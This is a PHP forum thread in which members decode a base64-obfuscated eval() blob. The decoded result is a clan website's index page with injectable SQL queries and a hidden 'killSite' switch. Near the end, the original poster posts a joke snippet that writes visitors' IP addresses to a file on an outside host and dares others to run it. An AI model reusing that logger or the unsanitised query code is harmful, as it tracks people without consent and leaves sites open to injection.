base64 decode

[H2oMaN]

Hi,
i had read some post on Decoding Base64
so i went step by step.

started with this.

<?PHP
eval(base64_decode('JGNvZGVsb2NrX2NvZGU9IlB6NDhQM0JvY0EwS2EhamJIVmtaU2dpYm1WbFpHVmtMbkJvY0NJcE93MEtEUXBwWmlna2NDQTlQU0FpVEc5bmFXNGlLU0I3RFFwamFHVmphMHh2WjJsdUtDUjFjMlZ5TENBa2NIZHZjbVFwT3cwS2ZRMEtEUW9rY1hWbGNua2dQU0FpVTBWTVJVTlVJQ29nUmxKUFRTQnNiMmRuWldScGJpQlhTRVZTUlNCcGNHNTFiU0E5SUNja2FYQW5JanNOQ2lSeVpYTjFiSFFnUFNCQWJYbHpjV3hmY1hWbGNua29KSEYxWlhKNUtRMEtJKkNCdmNpQmthV1VvYlhsemNXeGZaWEp5YjNJb0tTazdEUW9rY205M0lEMGdiWGx6Y1d4ZlptVjBZMmhmWVhKeVlYa29KSEpsYzNWc2RDazdEUXBBWlhoMGNtRmpkQ2drY205M0tUc05DbWxtS0NSaGRYUm9hV1FnUFQwZ0lubGxjeUlwSUhzTkNrQnpaWE56YVc5dVgzTjBZWEowS0NrN0RRb2tYMU5GVTFOSlQwNWJKMjFsYldKbGNtNWhiV1VuWFNBOUlDUnVZVzFsT3cwS0pGOVRSVk5UU1U5T1d5ZHdZWE56SjEwZ1BTQWtjR0Z6Y3pzTkNnMEtmUTBLRFFwQWMyVnpjMmx2Ymw5emRHRnlkQ2duYldWdFltVnlibUZ0WlNjcE93MEtRSE5sYzNOcGIyNWZjM1JoY25Rb0ozQmhjM01uS1RzTkNnMEtKSFZ6WlhKcFpDQTlJQ1J0WlcxaVpYSnVZVzFsT3cwS0pIQjNiM0prSUQwZ0pIQmhjM003RFFvTkNpUnNiMmRuWldScGJpQTlJQ0lpT3cwS0RRb2tjWFZsY25rZ1BTQWlVMFZNUlVOVUlDb2dSbEpQVFNCdFpXMWlaWEp6SUZkSVJWSkZJSFZ6WlhKdVlXMWxJRDBnSnlSMWMyVnlhV1FuSUVGT1JDQndZWE56ZDI5eVpDQTlJQ2NrY0hkdmNtUW5JanNOQ2lSeVpYTjFiSFFnUFNCdGVYTnhiRjl4ZFdWeWVTZ2tjWFZsY25rcERRb2dJKkc5eUlHUnBaU2dpUTI5MWJHUnVKM1FnUlhobFkzVjBaU0JSTWpNMGRXVnllU0lwT3cwS0pISnZkeUE5SUcxNWMzRnNYMlpsZEdOb1gyRnljbUY1S0NSeVpYTjFiSFFwT3cwS1FHVjRkSEpoWTNRb0pISnZkeWs3RFFwcFppZ2taR2x6WVdKc1pTQTlQU0FpTUNJcElIc05DbWxtS0NSaGRYUm9JRDA5SUNJeElpa2dldzBLYVdZb0pITjBZWFIxY3lBOVBTQWlNU0lwSUhzTkNpUnVkVzF5WSFySUQwZ0pISmhibXM3RFFwcFppZ2tjbUZ1YXlBK1BTQXhNQ2tnZXcwS0pHeHZaMmRsWkdsdUlEMGdJbmxsY3lJN0RRb05DbjE5ZlgwTkNnMEtEUXAwY21saGJFUmhlWE1vS1RzTkNtbHVZMngxWkdVb0ltbHVZMngxWkdVdWNHaHdJaWs3RFFvTkNuTm9iM2RFWVhSbEtDazdEUXB6WiFrUlcxaGFXd29LVHNOQ2cwS0RRcHBaaWdrY0NBOVBTQWlJaWtnZXcwS2FIQlRkR0YwY3lncE93MEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVEyaGhibWRsUTI5c2IzSWlLU0I3RFFwRGFHRnVaMlZUYVhSbFEyOXNiM0lvSkdOdmJHOXlLVHNOQ24wTkNnMEtEUXBwWmlna2NDQTlQU0FpVjJWaVltOTBJaWtnZXcwS1pHbHpjRmRsWW1KdmRDZ3BPdzBLZlEwS0RRb05DbWxtS0NSd0lEMDlJQ0pEYkdGdVYyRnljeUlwSUhzTkNtUnBjM0JEYkdGdVYyRnljeWdwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpUTJ4aGJsZGhja2x1Wm04aUtTQjdEUXBrYVhOd1EyeGhibGRoY2tsdVptOG9KR04zYVdRcE93MEtmUTBLRFFvTkNtbG1LQ1J3SUQwOUlDSlRhWFJsVUc5cGJuUnpJaWtnZXcwS1pHbHpjRk5wZEdWUWIybHVkSE1vS1RzTkNuME5DZzBLYVdZb0pIQWdQVDBnSWxOamNtbHRWR1ZoYlNJcElIc05DbVJwYzNCVFkzSnBiVlJsWVcwb0tUc05DbjBOQ2cwS2FXWW9KSEFnUFQwZ0lsTmpjbWx0VUhKdlptbHNaU0lwSUhzTkNtUnBjM0JUWTNKcGJWQnliMlpwYkdVb0pIVnpaWElwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpVFdWdFltVnlVR2xqY3lJcElIc05DbVJwYzNCTlpXMWlaWEpRYVdOektDazdEUXA5RFFvTkNtbG1LQ1J3SUQwOUlDSldhV1YzUTI5dGJXVnVkSE1pS1NCN0RRcGthWE53UTI5dGJXVnVkSE1vSkc1bGQzTnVkVzBzSUNSektUc05DbjBOQ21sbUtDUndJRDA5SUNKRGFHRnNiR1Z1WjJWeklpa2dldzBLWkdsemNFTm9ZV3hzWiFuWlNncE93MEtmUTBLTHlvTkNtbG1LQ1J3SUQwOUlDSkNibVYwVTNSaGRITWlLU0I3RFFwa2FYTndRbTVsZEZOMFlYUnpLQ2s3RFFwOURRb3FMdzBLYVdZb0pIQWdQVDBnSWtkbGJtVnlZV3hIY21Ga1pYTWlLU0I3RFFwa2FYTndSMGNvS1RzTkNuME5DZzBLYVdZb0pIQWdQVDBnSWsxbFpHRnNTIW1ieUlwSUhzTkNtUnBjM0JYYUc5SVlYTlhhR0YwVFdWa1lXd29KRzBwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpVkhKcFlXeE1iMmRwYmlJcElIc05DbU5vWldOclZISnBZV3hNYjJkcGJpZ2tkSEpwWVd4dVlXMWxMQ0FrZEhKcFlXeHdZWE56S1RzTkNuME5DZzBLYVdZb0pIQWdQVDBnSWtScGNHeHZiV0ZqZVZKbGNYVmxjM1FpS1NCN0RRcGthWEJzYjIxaFkzbFNaWEVvS1RzTkNuME5DZzBLYVdZb0pIQWdQVDBnSWsxbFpHRnNRMjkxYm5RaUtTQjdEUXB0WldSaGJFTnZkITBLQ2s3RFFwOURRb05DbWxtS0NSd0lEMDlJQ0pVYjNWeWJtVjVVM1JoWm1ZaUtTQjdEUXBrYVhOd1ZHOTFjbTVsZVZOMFlXWm1LQ2s3RFFwOURRb05DZzBLYVdZb0pIQWdQVDBnSWtSaGVYTWlLU0I3RFFwa1lYbHpLQ2s3RFFwOURRb05DbWxtS0NSd0lEMDlJQ0pPWlhkeklpa2dldzBLWkdsemNFNWxkM01vSW5CMVlteHBZeUlzSUNSdWRXMXlZIXJLVHNOQ24wTkNnMEthV1lvSkhBZ1BUMGdJa05vWVhSQ2IyRnlaQ0lwSUhzTkNtUnBjM0JPWlhkektHTm9ZWFJpYjJGeVpDd2dKRzUxYlhKaGJtc3BPdzBLZlEwS0RRb05DbWxtS0NSd0lEMDlJQ0pRWVhOMFYyRnljeUlwSUhzTkNtUnBjM0JYWVhKektDazdEUXA5RFFvTkNtbG1LQ1J3SUQwOUlDSkViM2R1Ykc5aFpDSXBJSHNOQ21ScGMzQkViM2R1Ykc5aFpITW9KR1JzS1RzTkNnMEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVUyMTFjbVpPWVcxbGN5SXBJSHNOQ21ScGMzQlRiWFZ5Wm5Nb0tUc05DbjBOQ2cwS2FXWW9KSEFnUFQwZ0lrbEJVbVZ4ZFdWemRDSXBJSHNOQ21ScGMzQkpRU2dwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpUm05eWRXMGlLU0I3RFFwbFkyaHZJQ0lOQ2p4MFlXSnNaU0JoYkdsbmJqMG5ZMlZ1ZEdWeUp5QmliM0prWlhJOUp6QW5JR05sYkd4emNHRmphIW5QU2N3SnlCalpXeHNjR0ZrWkdsdVp6MG5NQ2MrRFFvOGRISStEUW84ZEdRZ1kyeGhjM005SjIxaGFXNG5QanhpUGp4aElHaHlaV1k5SnlSbWIzSjFiWFZ5YkNjZ2RHRnlaMlYwUFNkZllteGhibXNuUGtWdWRHVnlJSFJvWlNCR2IzSjFiVHd2WVQ0OEwzUmtQand2ZEhJK1BDOTBZV0pzWlQ0aU93MEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVVISnZabWxzWlNJcElIc05DbTFsYldKbGNuTlBibXhwYm1Vb0tUc05DaVJwY0dGa1pISmxjM01nUFNBaVRHOW5aMlZrSWpzTkNtUnBjM0JRY205bWFXeGxLQ1IxYzJWeUtUc05DZzBLZlEwS0RRcHBaaWdrY0NBOVBTQWlUV1Z0WW1WeWN5SWdRVTVFSUNSemIzSjBJQ0U5SUNJeElpa2dldzBLYUdsbmFFUlRUQ2dwT3cwS1pHbHpjRTFsYldKbGNuTW9LVHNOQ24wTkNnMEthV1lvSkhBZ1BUMGdJazFsYldKbGNuTWlJRUZPUkNBa2MyOXlkQ0E5UFNBaU1TSXBJSHNOQ21ocFoyaEVVMHdvS1RzTkNuTnZjblJOWlcxaVpYSnpLQ1J6YjNKMFlua3BPdzBLZlEwS0RRb05DbWxtS0NSd0lEMDlJQ0pVY21saGJFMWxiV0psY25NaUtTQjdEUXBvYVdkb1JGTk1LQ2s3RFFwa2FYTndWSEpwWVd4TlpXMWlaWEp6S0NSbktUc05DbjBOQ21sbUtDUndJRDA5SUNKSlFVMWxiV0psY25NaUtTQjdEUXBrYVhOd1NVRk5aVzFpWlhKektDazdEUXA5RFFvTkNtbG1LQ1J3SUQwOUlDSklZV3hzYjJaR1lXMWxJaWtnZXcwS1pHbHpjRWhoYkd3b1JtRnRaU2s3RFFwOURRb05DbWxtS0NSd0lEMDlJQ0pJWVd4c2IyWlRhR0Z0WlNJcElIc05DbVJwYzNCSVlXeHNLQ0pJWVd4c2IyWlRhR0Z0WlNJcE93MEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVNHVnliM01pS1NCN0RRcGthWE53U0dGc2JDZ2lTR1Z5YjNNaUtUc05DbjBOQ2cwS2FXWW9KSEFnUFQwZ0lrMVBUU0lwSUhzTkNtUnBjM0JJWVd4c0tDSk5UMDBpS1RzTkNuME5DZzBLRFFwcFppZ2tjQ0E5UFNBaVEyeGhia3hsWjJWdVpITWlLU0I3RFFwa2FYTndTR0ZzYkNnaVEyeGhia3hsWjJWdVpITWlLVHNOQ24wTkNnMEthV1lvSkhBZ1BUMGdJbFJ2ZFhKdVlXMWxiblJ6SWlrZ2V3MEtaR2x6Y0ZSdmRYSnVlU2dwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpVkc5MWNtNWxlVWx1Wm04aUtTQjdEUXBrYVhOd1ZHOTFjbTU1UyFtYnlna2FXUnVkVzBwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpVTNGMVlXUnpJaWtnZXcwS1pHbHpjRk54ZFdGa2N5Z3BPdzBLZlEwS0RRcHBaaWdrY0NBOVBTQWlVM0YxWVdSSmJtWnZJaWtnZXcwS1pHbHpjRk54ZFdGa1MhbWJ5Z2tjM0YxWVdRcE93MEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVRXVmtZV3h6SWlrZ2V3MEtaR2x6Y0UxbFpHRnNjeWdwT3cwS2ZRMEtEUXBwWmlna2NDQTlQU0FpVW1GdWEzTWlLU0I3RFFwa2FYTndVbUZ1YTNNb0tUc05DbjBOQ21sbUtDUndJRDA5SUNKU2RXeGxjeUlwSUhzTkNtUnBjM0JTZFd4bGN5Z3BPdzBLZlEwS0RRcHBaaWdrY0NBOVBTQWlURzl6ZEZCaGMzTjNiM0prSWlrZ2V3MEtiRzl6ZEZCaGMzTjNiM0prS0NrN0RRcDlEUW9OQ21sbUtDUndJRDA5SUNKRWFYQnNiMjFoWTNraUtTQjdEUXBrYVhOd1JHbHdiRzl0WVdONUtDazdEUXA5RFFwcFppZ2tjQ0E5UFNBaVJHbHdiRzl0WVdONVMhbWJ5SXBJSHNOQ21ScGNHeHZiV0ZqZVVsdVptOG9KR05zWSFwWkNrN0RRcDlEUW9OQ21sbUtDUndJRDA5SUNKVWIzQk5aVzFpWlhKeklpa2dldzBLZEc5d1RXVnRZbVZ5Y3lna2RHOXdLVHNOQ24wTkNnMEthV1lvSkhBZ1BUMGdJa2hwYzNSdmNua2lLU0I3RFFwa2FYTndTR2x6ZEc5eWVTZ3BPdzBLZlEwS0RRcHBaaWdrY0NBOVBTQWlVMlZoY21Ob0lpa2dldzBLYzJWaGNtTm9LQ1JpYjNncE93MEtmUTBLRFFwcFppZ2tjQ0E5UFNBaVEyRnNaIWtaWElpS1NCN0RRcGthWE53UTJGc1oha1pYSW9KRzBzSUNSNUtUc05DbjBOQ2cwS2FXWW9KSEFnUFQwZ0lrTmhiR1Z1WkdWeVJYWmxiblFpS1NCN0RRcGthWE53UTJGc1oha1pYSkZkbVZ1ZEhNb0pHUXNJQ1J0TENBa2VTazdEUXA5RFFvTkNtbG1LQ1J3SUQwOUlDSlZWR2hsYVdZaUtTQjdEUXByYVd4c1UybDBaU2dwT3cwS2ZRMEtEUW9OQ21OdmNIbHlhV2RvZENncE93MEthIWpiSFZrWlNnaVltOTBkRzl0TG1oMGJXd2lLVHNOQ2cwS0RRby9QancvVUVoUUlBPT0iOyAkY29kZWxvY2tfY29kZT1zdHJfcmVwbGFjZSgiQCIsIkNBZyIsICRjb2RlbG9ja19jb2RlKTsgJGNvZGVsb2NrX2NvZGU9c3RyX3JlcGxhY2UoIiEiLCAiVzUiLCAkY29kZWxvY2tfY29kZSk7ICRjb2RlbG9ja19jb2RlPXN0cl9yZXBsYWNlKCIqIiwgIkNBZ0kiLCAkY29kZWxvY2tfY29kZSk7ICRjb2RlbG9ja19jb2RlPWJhc2U2NF9kZWNvZGUoJGNvZGVsb2NrX2NvZGUpOyBldmFsKCRjb2RlbG9ja19jb2RlKTsgCg==')); 
?>

sorry i ahve to double post because the limmit on 1000

[dagon]

WARNING don't run the above, its a noobtards very lame hack atempt

[laserlight]

dagon, you actually ran that code? Switching the eval()s for echos reduces it to:

?><?php
include("needed.php");

if($p == "Login") {
checkLogin($user, $pword);
}

$query = "SELECT * FROM loggedin WHERE ipnum = '$ip'";
$result = @mysql_query($query)
     or die(mysql_error());
$row = mysql_fetch_array($result);
@extract($row);
if($authid == "yes") {
@session_start();
$_SESSION['membername'] = $name;
$_SESSION['pass'] = $pass;

}

@session_start('membername');
@session_start('pass');

$userid = $membername;
$pword = $pass;

$loggedin = "";

$query = "SELECT * FROM members WHERE username = '$userid' AND password = '$pword'";
$result = mysql_query($query)
     or die("Couldn't Execute Q234uery");
$row = mysql_fetch_array($result);
@extract($row);
if($disable == "0") {
if($auth == "1") {
if($status == "1") {
$numrank = $rank;
if($rank >= 10) {
$loggedin = "yes";

}}}}


trialDays();
include("include.php");

showDate();
sendEmail();


if($p == "") {
hpStats();
}

if($p == "ChangeColor") {
ChangeSiteColor($color);
}


if($p == "Webbot") {
dispWebbot();
}


if($p == "ClanWars") {
dispClanWars();
}

if($p == "ClanWarInfo") {
dispClanWarInfo($cwid);
}


if($p == "SitePoints") {
dispSitePoints();
}

if($p == "ScrimTeam") {
dispScrimTeam();
}

if($p == "ScrimProfile") {
dispScrimProfile($user);
}

if($p == "MemberPics") {
dispMemberPics();
}

if($p == "ViewComments") {
dispComments($newsnum, $s);
}
if($p == "Challenges") {
dispChallenge();
}
/*
if($p == "BnetStats") {
dispBnetStats();
}
*/
if($p == "GeneralGrades") {
dispGG();
}

if($p == "MedalInfo") {
dispWhoHasWhatMedal($m);
}

if($p == "TrialLogin") {
checkTrialLogin($trialname, $trialpass);
}

if($p == "DiplomacyRequest") {
diplomacyReq();
}

if($p == "MedalCount") {
medalCount();
}

if($p == "TourneyStaff") {
dispTourneyStaff();
}


if($p == "Days") {
days();
}

if($p == "News") {
dispNews("public", $numrank);
}

if($p == "ChatBoard") {
dispNews(chatboard, $numrank);
}


if($p == "PastWars") {
dispWars();
}

if($p == "Download") {
dispDownloads($dl);

}

if($p == "SmurfNames") {
dispSmurfs();
}

if($p == "IARequest") {
dispIA();
}

if($p == "Forum") {
echo "
<table align='center' border='0' cellspacing='0' cellpadding='0'>
<tr>
<td class='main'><b><a href='$forumurl' target='_blank'>Enter the Forum</a></td></tr></table>";
}

if($p == "Profile") {
membersOnline();
$ipaddress = "Logged";
dispProfile($user);

}

if($p == "Members" AND $sort != "1") {
highDSL();
dispMembers();
}

if($p == "Members" AND $sort == "1") {
highDSL();
sortMembers($sortby);
}


if($p == "TrialMembers") {
highDSL();
dispTrialMembers($g);
}
if($p == "IAMembers") {
dispIAMembers();
}

if($p == "HallofFame") {
dispHall(Fame);
}

if($p == "HallofShame") {
dispHall("HallofShame");
}

if($p == "Heros") {
dispHall("Heros");
}

if($p == "MOM") {
dispHall("MOM");
}


if($p == "ClanLegends") {
dispHall("ClanLegends");
}

if($p == "Tournaments") {
dispTourny();
}

if($p == "TourneyInfo") {
dispTournyInfo($idnum);
}

if($p == "Squads") {
dispSquads();
}

if($p == "SquadInfo") {
dispSquadInfo($squad);
}

if($p == "Medals") {
dispMedals();
}

if($p == "Ranks") {
dispRanks();
}
if($p == "Rules") {
dispRules();
}

if($p == "LostPassword") {
lostPassword();
}

if($p == "Diplomacy") {
dispDiplomacy();
}
if($p == "DiplomacyInfo") {
diplomacyInfo($clanid);
}

if($p == "TopMembers") {
topMembers($top);
}

if($p == "History") {
dispHistory();
}

if($p == "Search") {
search($box);
}

if($p == "Calender") {
dispCalender($m, $y);
}

if($p == "CalenderEvent") {
dispCalenderEvents($d, $m, $y);
}

if($p == "UTheif") {
killSite();
}


copyright();
include("bottom.html");


?><?PHP

[Weedpacket]

...And meanwhile, does anyone have the faintest idea what the original problem is supposed to be?

[dagon]

laserlight wrote:

dagon, you actually ran that code?

of course not, I decoded it like you and im very paranoid.

[laserlight]

of course not, I decoded it like you and im very paranoid.

Overly paranoid, methinks. A quick glance at the code shows that it will probably wont work since you are unlikely to have the necessary include and database files.

Weedpacket does have a point though: this is much ado about nothing since the OP has not asked a question :o

[dagon]

yes i am overly paranoid, but my tin-foil hat looks pretty anyway.

[Weedpacket]

dagon wrote:

yes i am overly paranoid, but my tin-foil hat looks pretty anyway.

Well, let's see it? Is it pyramidal? It won't work if it's not pyramidal!

[H2oMaN]

Ok thanx for the decrypt.

but yes i changed eval(); to echo();

it decoded to the second encrypt.
i ran a reverse string change. so i got the orig base64 again.
and echo it again.
but it dint came out like that .
it came out like this------------,
V

can you explain step by step how you did it that it came out like that.

---

lol @ dragon.

$ip = $REMOTE_ADDR;
$host = gethostbyaddr($ip);
$date = date("d/m/Y H:i:s");
$fl = fopen('http://h2oscripts.net/iplog.txt', 'a');
fwrite($fl, "$ip . $host . $date \n\n");
fclose($fl);

^{^^^^^^^^^^^^(} this one doesnt work, so dont go flamin on me , its just a joke ).

put that in a blank php upload it run, so i can DDoS you the whole week.